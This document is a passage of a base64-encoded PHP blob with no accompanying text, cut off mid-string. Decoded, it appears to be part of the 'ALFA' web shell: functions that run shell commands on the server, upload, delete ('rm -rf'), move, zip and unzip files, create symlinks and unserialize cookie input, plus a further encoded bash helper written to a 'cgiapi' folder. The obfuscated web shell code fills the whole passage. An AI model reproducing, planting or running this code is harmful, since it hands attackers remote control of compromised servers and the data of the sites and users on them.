ZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7ICBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkge3JldHVybiBmYWxzZTt9IH0gIGZ1bmN0aW9uIGFsZmFXaGljaCgkcCkgeyAgJHBhdGggPSBhbGZhRXgoJ3doaWNoICcgLiAkcCxmYWxzZSxmYWxzZSk7ICBpZighZW1wdHkoJHBhdGgpKSAgcmV0dXJuIHN0cmxlbigkcGF0aCk7ICByZXR1cm4gZmFsc2U7ICB9ICBmdW5jdGlvbiBhbGZhU2l6ZSgkcykgeyAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsgIGVsc2VpZigkcyA+PSAxMDQ4NTc2KSAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsgIGVsc2VpZigkcyA+PSAxMDI0KSAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywkcyAvIDEwMjQgKSAuICcgS0InOyAgZWxzZSAgcmV0dXJuICRzIC4gJyBCJzsgIH0gIGZ1bmN0aW9uIGFsZmFQZXJtcygkcCkgeyAgaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOyAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7ICBlbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOyAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7ICBlbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOyAgZWxzZSAkaSA9ICd1JzsgICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsgICRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7ICAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7ICAkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7ICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOyAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOyAgJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOyAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsgIHJldHVybiAkaTsgIH0gIGZ1bmN0aW9uIGFsZmFQZXJtc0NvbG9yKCRmLCRpc2Jhc2g9ZmFsc2UpeyAgJGNsYXNzID0gIiI7ICAkbnVtID0gIiI7ICAkaHVtYW4gPSAiIjsgIGlmKCRpc2Jhc2gpeyAgJGNsYXNzID0gJGZbImNsYXNzIl07ICAkbnVtID0gJGZbIm51bSJdOyAgJGh1bWFuID0gJGZbImh1bWFuIl07ICB9ZWxzZXsgICRudW0gPSBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRmKSksLTQpOyAgJGh1bWFuID0gYWxmYVBlcm1zKEBmaWxlcGVybXMoJGYpKTsgIGlmKCFAaXNfcmVhZGFibGUoJGYpKSAgJGNsYXNzID0gIm1haW5fcmVkX3Blcm0iOyAgZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkgICRjbGFzcyA9ICJtYWluX3doaXRlX3Blcm0iOyAgZWxzZSAgJGNsYXNzID0gIm1haW5fZ3JlZW5fcGVybSI7ICB9ICByZXR1cm4gJzxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSInLiRjbGFzcy4nIj4nLiRudW0uJzwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0iYmVldHdlZW5fcGVybXMiPiA+PiA8L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9IicuJGNsYXNzLiciPicuJGh1bWFuLic8L3NwYW4+JzsgIH0gIGlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgeyAgZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7ICAkZGggPSBvcGVuZGlyKCRkaXIpOyAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkgICRmaWxlc1tdID0gJGZpbGVuYW1lOyAgcmV0dXJuICRmaWxlczsgIH0gIH0gIGZ1bmN0aW9uIHJlQXJyYXlGaWxlcygkZmlsZV9wb3N0KXsgICRmaWxlX2FyeSA9IGFycmF5KCk7ICAkZmlsZV9jb3VudCA9IGNvdW50KCRmaWxlX3Bvc3RbJ25hbWUnXSk7ICAkZmlsZV9rZXlzID0gYXJyYXlfa2V5cygkZmlsZV9wb3N0KTsgIGZvciAoJGk9MDsgJGk8JGZpbGVfY291bnQ7ICRpKyspIHsgIGZvcmVhY2ggKCRmaWxlX2tleXMgYXMgJGtleSkgeyAgJGZpbGVfYXJ5WyRpXVska2V5XSA9ICRmaWxlX3Bvc3RbJGtleV1bJGldOyAgfSAgfSAgcmV0dXJuICRmaWxlX2FyeTsgIH0gIGZ1bmN0aW9uIF9hbGZhX2Nhbl9ydW5Db21tYW5kKCRjZ2k9dHJ1ZSwkY2FjaGU9dHJ1ZSl7ICAJaWYoaXNzZXQoJF9TRVNTSU9OWyJhbGZhX2NhbnJ1bmNtZCJdKSYmJGNhY2hlKXsgICByZXR1cm4gdHJ1ZTsgIAl9ICAJaWYoc3RybGVuKGFsZmFFeCgid2hvYW1pIixmYWxzZSwkY2dpKSk+MCl7ICAgJF9TRVNTSU9OWyJhbGZhX2NhbnJ1bmNtZCJdID0gdHJ1ZTsgICByZXR1cm4gdHJ1ZTsgIAl9ICAJcmV0dXJuIGZhbHNlOyAgfSAgZnVuY3Rpb24gX2FsZmFfc3ltbGluaygkdGFyZ2V0LCAkbGluayl7ICAJJHBocHN5bSA9IGZ1bmN0aW9uX2V4aXN0cygic3ltbGluayIpOyAgCWlmKCRwaHBzeW0peyAgIEBzeW1saW5rKCR0YXJnZXQsICRsaW5rKTsgIAl9ZWxzZXsgICBhbGZhRXgoImxuIC1zICciLmFkZHNsYXNoZXMoJHRhcmdldCkuIicgJyIuYWRkc2xhc2hlcygkbGluaykuIiciKTsgIAl9ICB9ICBmdW5jdGlvbiBfYWxmYV9maWxlX2V4aXN0cygkZmlsZSwkY2dpPXRydWUpeyAgCWlmKEBmaWxlX2V4aXN0cygkZmlsZSkpeyAgIHJldHVybiB0cnVlOyAgCX1lbHNleyAgIGlmKHN0cmxlbihhbGZhRXgoImxzIC1sYSAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIsZmFsc2UsJGNnaSkpPjApeyAgIHJldHVybiB0cnVlOyAgIH0gIAl9ICAJcmV0dXJuIGZhbHNlOyAgfSAgZnVuY3Rpb24gX2FsZmFfZmlsZSgkZmlsZSwkY2dpPXRydWUpeyAgCSRhcnJheSA9IEBmaWxlKCRmaWxlKTsgIAlpZighJGFycmF5KXsgICBpZihzdHJsZW4oYWxmYUV4KCJpZCIsZmFsc2UsJGNnaSkpPjApeyAgICRkYXRhID0gYWxmYUV4KCdjYXQgIicuYWRkc2xhc2hlcygkZmlsZSkuJyInLGZhbHNlLCRjZ2kpOyAgIGlmKHN0cmxlbigkZGF0YSk+MCl7ICAgcmV0dXJuIGV4cGxvZGUoIlxuIiwgJGRhdGEpOyAgIH1lbHNleyAgIHJldHVybiBmYWxzZTsgICB9ICAgfWVsc2V7ICAgcmV0dXJuIGZhbHNlOyAgIH0gIAl9ZWxzZXsgICByZXR1cm4gJGFycmF5OyAgCX0gIH0gIGZ1bmN0aW9uIF9hbGZhX2lzX3dyaXRhYmxlKCRmaWxlKXsgIAkkY2hlY2sgPSBmYWxzZTsgIAkkY2hlY2sgPSBAaXNfd3JpdGFibGUoJGZpbGUpOyAgCWlmKCEkY2hlY2speyAgIGlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKCkpeyAgICRjaGVjayA9IGFsZmFFeCgnWyAtdyAiJy50cmltKGFkZHNsYXNoZXMoJGZpbGUpKS4nIiBdICYmIGVjaG8gInllcyIgfHwgZWNobyAibm8iJyk7ICAgaWYoJGNoZWNrID09ICJ5ZXMiKXsgICAkY2hlY2sgPSB0cnVlOyAgIH1lbHNleyAgICRjaGVjayA9IGZhbHNlOyAgIH0gICB9ICAJfSAgCXJldHVybiAkY2hlY2s7ICB9ICBmdW5jdGlvbiBfYWxmYV9pc19kaXIoJGRpciwkbW9kZT0iLWQiKXsgIAkkY2hlY2sgPSBmYWxzZTsgIAkkY2hlY2sgPSBAaXNfZGlyKCRkaXIpOyAgCWlmKCEkY2hlY2speyAgIGlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKCkpeyAgICRjaGVjayA9IGFsZmFFeCgnWyAiJy50cmltKCRtb2RlKS4nIiAiJy50cmltKGFkZHNsYXNoZXMoJGRpcikpLiciIF0gJiYgZWNobyAieWVzIiB8fCBlY2hvICJubyInKTsgICBpZigkY2hlY2sgPT0gInllcyIpeyAgIHJldHVybiB0cnVlOyAgIH1lbHNleyAgIHJldHVybiBmYWxzZTsgICB9ICAgfSAgCX0gIAlyZXR1cm4gJGNoZWNrOyAgfSAgZnVuY3Rpb24gYWxmYUZpbGVzTWFuKCl7ICBhbGZhaGVhZCgpOyAgZWNobyAnPGRpdiBjbGFzcz0iYWpheGFyZWEiPjxkaXYgY2xhc3M9ImhlYWRlciI+JzsgIGlmKCFlbXB0eSAoJF9DT09LSUVbJ2YnXSkpICAkX0NPT0tJRVsnZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydmJ10pOyAgaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpeyAgc3dpdGNoKCRfUE9TVFsnYWxmYTEnXSl7ICBjYXNlICd1cGxvYWRGaWxlJzogIGlmKGlzc2V0KCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pKXsgIAkkYWxmYV9jYW5ydW5jbWQgPSBfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpOyAgCSRtb3ZlX2NtZF9maWxlID0gdHJ1ZTsgIH0gICRmaWxlcyA9IHJlQXJyYXlGaWxlcygkX0ZJTEVTWydmJ10pOyAgZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpeyAgaWYoJG1vdmVfY21kX2ZpbGUpeyAgCWFsZmFFeCgiY2F0ICciLmFkZHNsYXNoZXMoJGZpbGVbJ3RtcF9uYW1lJ10pLiInID4gJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXS4iLyIuJGZpbGVbJ25hbWUnXSkuIiciKTsgIH1lbHNleyAgCUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJGZpbGVbJ3RtcF9uYW1lJ10sJGZpbGVbJ25hbWUnXSk7ICB9ICBlY2hvICJ1cGVkLi4uITxCcj4iOyAgfSAgYnJlYWs7ICBjYXNlICdta2Rpcic6ICAkbmV3X2Rpcl9jbWQgPSBmYWxzZTsgIGlmKGlzc2V0KCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pKXsgIAlpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsgICBhbGZhRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO21rZGlyICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pKS4iJyIpOyAgCX0gIH1lbHNleyAgaWYoIUBta2Rpcih0cmltKCRfUE9TVFsnYWxmYTInXSkpKSAgZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+Q2FuJ3QgY3JlYXRlIG5ldyBkaXIgITwvYj48L2ZvbnQ+IjsgIH0gIGJyZWFrOyAgY2FzZSAnZGVsZXRlJzogIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCl7ICAkcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOyAgJGRoID0gQG9wZW5kaXIoJHBhdGgpOyAgd2hpbGUoKCRpdGVtID0gQHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKXsgICRpdGVtID0gJHBhdGguJGl0ZW07ICBpZigoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSkgIGNvbnRpbnVlOyAgJHR5cGUgPSBAZmlsZXR5cGUoJGl0ZW0pOyAgaWYgKCR0eXBlID09ICJkaXIiKSAgZGVsZXRlRGlyKCRpdGVtKTsgIGVsc2UgIEB1bmxpbmsoJGl0ZW0pOyAgfSAgQGNsb3NlZGlyKCRkaCk7ICBAcm1kaXIoJHBhdGgpOyAgfSAgaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkgIGZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpeyAgaWYoJGYgPT0gJy4uJykgIGNvbnRpbnVlOyAgJGYgPSByYXd1cmxkZWNvZGUoJGYpOyAgaWYoaXNzZXQoJEdMT0JBTFNbImdsb2JfY2hkaXJfZmFsc2UiXSkpeyAgCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpeyAgIGFsZmFFeCgicm0gLXJmICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10uJy8nLiRmKS4iJyIpOyAgCX0gIH1lbHNleyAgYWxmYUV4KCJybSAtcmYgJyIuYWRkc2xhc2hlcygkZikuIiciLGZhbHNlLGZhbHNlKTsgIGlmKEBpc19kaXIoJGYpKSAgZGVsZXRlRGlyKCRmKTsgIGVsc2UgIEB1bmxpbmsoJGYpOyAgfSAgfSAgaWYoQGlzX2RpcihyYXd1cmxkZWNvZGUoQCRfUE9TVFsnYWxmYTInXSkpJiZyYXd1cmxkZWNvZGUoQCRfUE9TVFsnYWxmYTInXSkhPScuLicpeyAgZGVsZXRlRGlyKHJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSk7ICBhbGZhRXgoInJtIC1yZiAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiciLGZhbHNlLGZhbHNlKTsgIH1lbHNleyAgQHVubGluayhyYXd1cmxkZWNvZGUoQCRfUE9TVFsnYWxmYTInXSkpOyAgfSAgaWYoaXNzZXQoJEdMT0JBTFNbImdsb2JfY2hkaXJfZmFsc2UiXSkpeyAgCSRzb3VyY2UgPSByYXd1cmxkZWNvZGUoQCRfUE9TVFsnYWxmYTInXSk7ICAJaWYoJHNvdXJjZSE9Jy4uJyYmIWVtcHR5KCRzb3VyY2UpKXsgICBpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsgICBhbGZhRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO3JtIC1yZiAnIi5hZGRzbGFzaGVzKCRzb3VyY2UpLiInIik7ICAgfSAgCX0gIH0gIGJyZWFrOyAgY2FzZSAncGFzdGUnOiAgaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScmJmlzc2V0KCRfU0VTU0lPTlsnZiddKSl7ICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsgIGlmKEBpc19kaXIoJGMuJHMpKXsgIEBta2RpcigkZC4kcyk7ICAkaCA9IEBvcGVuZGlyKCRjLiRzKTsgIHdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7ICB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgIEBjb3B5KCRjLiRzLCAkZC4kcyk7ICB9ICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSAgY29weV9wYXN0ZSgkX1NFU1NJT05bJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsgIH1lbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnbW92ZScmJmlzc2V0KCRfU0VTU0lPTlsnZiddKSl7ICBmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsgIGlmKEBpc19kaXIoJGMuJHMpKXsgIEBta2RpcigkZC4kcyk7ICAkaCA9IEBvcGVuZGlyKCRjLiRzKTsgIHdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkgIGlmKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsgIH1lbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKSAgQGNvcHkoJGMuJHMsICRkLiRzKTsgIH0gIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpICBAcmVuYW1lKCRfU0VTU0lPTlsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOyAgfWVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICd6aXAnJiZpc3NldCgkX1NFU1NJT05bJ2YnXSkpeyAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpeyAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7ICAkemlwWCA9ICJhbGZhXyIucmFuZCgxLDEwMDApLiIuemlwIjsgIGlmKCR6aXAtPm9wZW4oJHppcFgsIDEpKXsgIEBjaGRpcigkX1NFU1NJT05bJ2MnXSk7ICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKXsgIGlmKCRmID09ICcuLicpY29udGludWU7ICBpZihAaXNfZmlsZSgkX1NFU1NJT05bJ2MnXS4kZikpICAkemlwLT5hZGRGaWxlKCRfU0VTU0lPTlsnYyddLiRmLCAkZik7ICBlbHNlaWYoQGlzX2RpcigkX1NFU1NJT05bJ2MnXS4kZikpeyAgJGl0ZXJhdG9yID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRmLicvJykpOyAgZm9yZWFjaCgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKXsgICRrZXkgPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyxyZWFscGF0aCgka2V5KSk7ICBpZihAaXNfZGlyKCRrZXkpKXsgIGlmKGluX2FycmF5KHN1YnN0cigka2V5LCBzdHJycG9zKCRrZXksJy8nKSsxKSxhcnJheSgnLicsICcuLicpKSljb250aW51ZTsgIH1lbHNleyR6aXAtPmFkZEZpbGUoJGtleSwka2V5KTt9fX19ICBAY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsgICR6aXAtPmNsb3NlKCk7ICBfX2FsZXJ0KCc+PiAnLiR6aXBYLicgPDwgaXMgY3JlYXRlZC4uLicpO319ICB9ZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3VuemlwJyYmaXNzZXQoJF9TRVNTSU9OWydmJ10pKXsgIGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikgeyAgaWYoJHppcC0+b3BlbigkX1NFU1NJT05bJ2MnXS4kZikpeyAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7ICAkemlwLT5jbG9zZSgpO319fX0gIHVuc2V0KCRfU0VTU0lPTlsnZiddKTsgIGJyZWFrOyAgZGVmYXVsdDogIGlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsgICRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydhbGZhMSddOyAgJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107ICAkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsgIH0gIGJyZWFrOyAgfSAgfSAgaWYoaXNzZXQoJF9TRVNTSU9OW19fTEFTVF9DV0RfX10pICYmICFpc3NldCgkX1BPU1RbJ2MnXSkgJiYgJF9TRVNTSU9OW19fTEFTVF9DV0RfX10gIT0gJycpeyAgCSRkaXJDb250ZW50ID0gQHNjYW5kaXIoJF9TRVNTSU9OW19fTEFTVF9DV0RfX10pOyAgfWVsc2V7ICAJJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsgIAlpZihwcmVnX21hdGNoKCIjKC4qKVwvXC5cLiMiLCAkX1BPU1RbJ2MnXSwgJHJlcykpeyAgICRwYXRoID0gZXhwbG9kZSgnLycsICRyZXNbMV0pOyAgIGFycmF5X3BvcCgkcGF0aCk7ICAgJF9QT1NUWydjJ10gPSBpbXBsb2RlKCcvJywgJHBhdGgpOyAgCX0gIAkkX1NFU1NJT05bX19MQVNUX0NXRF9fXSA9IHN0cl9yZXBsYWNlKGFycmF5KCIuLiIsIi8vIiksIGFycmF5KCIiLCIvIiksICRfUE9TVFsnYyddKTsgIH0gICRjbWRfZGlyID0gZmFsc2U7ICBpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpeyAgCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpeyAgIEBjaGRpcihkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpOyAgIGlmKCFpc3NldCgkX1NFU1NJT05bImFsZmFjaGRpcl9iYXNoIl0pfHxAIWZpbGVfZXhpc3RzKCJhbGZhY2dpYXBpL2dldGRpci5hbGZhIikpeyAgICRiYXNoID0gImpaTnZiNXN3RU1aZnc2ZTRlYVpwcGFJazNaOUlOTHlZTkhYcTIwMTdVWVdvY3NFRWEyQWpRNVN4Tk45OVBtTUlsVEpwRVZMT3YrZnU4UmtmNzkvTjk0MmV2d2c1YndyLzYrUDNtQzc5eDRjZk1aMGxjdWJ6dEZCQU5zVFBsUVlCUWdLOUxoc0lHWVRoVHF0OUhXWkM4N1JWV3ZBbXpJVnVXcURHNWVZZU11V0QrZFdzTFdLQ2JFNEY4VDBoY3hYVDY2WmxMWVFwa09BaENuNUd3YmNvYUtMZ0tWb0VMQXErRUtCWWQrTjcyTW9zbW9IbUxJTlE0ODVNYTliQmVyMEdRdEhObUxaZHpXTjZ0TXBtc1QzWm5kVkJjajNTcGFPMjY1SGVHZW8xNHMrNStnT1NTbVVpNzBiMjBkWFdYRmR5WDQzODA0UVgrNHJKVWZtTUxpS0h6Y2FjcEsrQ09BYXlXSzVXS3dMYjdUMjBCWmUrNXcyZVpJR0tBNzBaeWZUaHQzME16OFZnR0I3TXdmSDFvQTljWFZtbUoreU5kNnBLcFdOU01TR2ZkNXB6K1l6VUdQTFMyZjFYNmFFUUxUK1hOdnhDanViWmtISHVsdUxkMkxNUGs5SzkyY2hlSFdxVGxzNDFtdS8ySmRPUWk1TGI0NzYrWGs3Z1ZkMTIvMDVydXVwRmxTS0ZVc2hmRi9hM2hYM2JkdVNQQ1pHczRnbUpJREZUbHBCYjg0K3BqdlFoUWp0bGpyb1lzUjB6aDEyTUdFZk4wVDVFMkUrYnc4TUNCVGNiVGhsWGcyU25aQ0s2OVNEYnE1bklibjI2OVRNbHVmdTBqNmN0K1FzPSI7ICAgYWxmYVdyaXRlVG9jZ2lhcGkoImdldGRpci5hbGZhIiwkYmFzaCk7ICAgfSAgIGlmKGVtcHR5KCRfU0VTU0lPTltfX0xBU1RfQ1dEX19dKSkkX1NFU1NJT05bX19MQVNUX0NXRF9fXSA9ICIvIjsgICAkZGlyQ29udGVudCA9IGFsZmFFeCgiY2QgYWxmYWNnaWFwaTtzaCBnZXRkaXIuYWxmYSAnIi5hZGRzbGFzaGVzKCRfU0VTU0lPTltfX0xBU1RfQ1dEX19dKS4iJyIpOyAgICRkaXJDb250ZW50ID0ganNvbl9kZWNvZGUoJGRpckNvbnRlbnQsIHRydWUpOyAgIGlmKGlzX2FycmF5KCRkaXJDb250ZW50KSl7ICAgYXJyYXlfcG9wKCRkaXJDb250ZW50KTsgICAkY21kX2RpciA9IHRydWU7ICAgfWVsc2V7ICAgJGRpckNvbnRlbnQgPSBmYWxzZTsgICB9ICAgJF9TRVNTSU9OWyJhbGZhY2hkaXJfYmFzaCJdID0gdHJ1ZTsgIAl9ICB9ICBpZigkZGlyQ29udGVudCA9PSBmYWxzZSl7ICBlY2hvICc8Y2VudGVyPjxicj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE2cHg7Ij48c3BhbiBzdHlsZT0iY29sb3I6IHJlZDsgLXdlYmtpdC10ZXh0LXNoYWRvdzogMXB4IDFweCAxM3B4OyI+PHN0cm9uZz48Yj48YmlnPiEhISBBY2Nlc3MgRGVuaWVkICEhITwvYj48L2JpZz48YnI+PGJyPjwvc3Ryb25nPjwvZGl2Pic7ICBhbGZhRm9vdGVyKCk7ICByZXR1cm47ICB9ICBnbG9iYWwgJHNvcnQ7ICAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7ICBpZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSkgeyAgaWYocHJlZ19tYXRjaCgnIXNfKFtBLXpdKylfKFxkezF9KSEnLCAkX1BPU1RbJ2FsZmExJ10sICRtYXRjaCkpICAkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOyAgfSAgZWNobyAiPGZvcm0gb25zdWJtaXQ9J2ZjKHRoaXMpO3JldHVybiBmYWxzZTsnIG5hbWU9J2ZpbGVzJyBtZXRob2Q9J3Bvc3QnPjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGRpdiBjbGFzcz0nbXlDaGVja2JveCcgc3R5bGU9J3BhZGRpbmctbGVmdDowcHg7Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIGlkPSdtY2hrJyBvbmNsaWNrPSdjaGVja0JveCgpOycgY2xhc3M9J2Noa2J4Jz48bGFiZWwgZm9yPSdtY2hrJz48L2xhYmVsPjwvZGl2PjwvdGg+PHRoPk5hbWU8L3RoPjx0aD5TaXplPC90aD48dGg+TW9kaWZ5PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD5QZXJtaXNzaW9uczwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsgICRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsgICRuID0gY291bnQoJGRpckNvbnRlbnQpOyAgZm9yKCRpPTA7JGk8JG47JGkrKyl7ICBpZigkY21kX2Rpcil7ICAkZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsgICRmaWxlX293bmVyID0gJGRpckNvbnRlbnRbJGldWyJvd25lciJdOyAgJGZpbGVfZ3JvdXAgPSAkZGlyQ29udGVudFskaV1bImdyb3VwIl07ICAkZmlsZV9tb2RpZnkgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLCAkZGlyQ29udGVudFskaV1bIm1vZGlmeSJdKTsgICRmaWxlX3Blcm0gPSBhbGZhUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kZGlyQ29udGVudFskaV1bInBlcm1jb2xvciJdLCJudW0iPT4kZGlyQ29udGVudFskaV1bInBlcm1udW0iXSwiaHVtYW4iPT4kZGlyQ29udGVudFskaV1bInBlcm1odW1hbiJdKSx0cnVlKTsgICRmaWxlX3NpemUgPSAkZGlyQ29udGVudFskaV1bInNpemUiXTsgICRmaWxlX3BhdGggPSAkX1NFU1NJT05bX19MQVNUX0NXRF9fXS4iLyIuJGRpckNvbnRlbnRbJGldWyJuYW1lIl07ICB9ZWxzZXsgICRmaWxlbmFtZSA9ICRkaXJDb250ZW50WyRpXTsgICRvdyA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7ICAkZ3IgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJEdMT0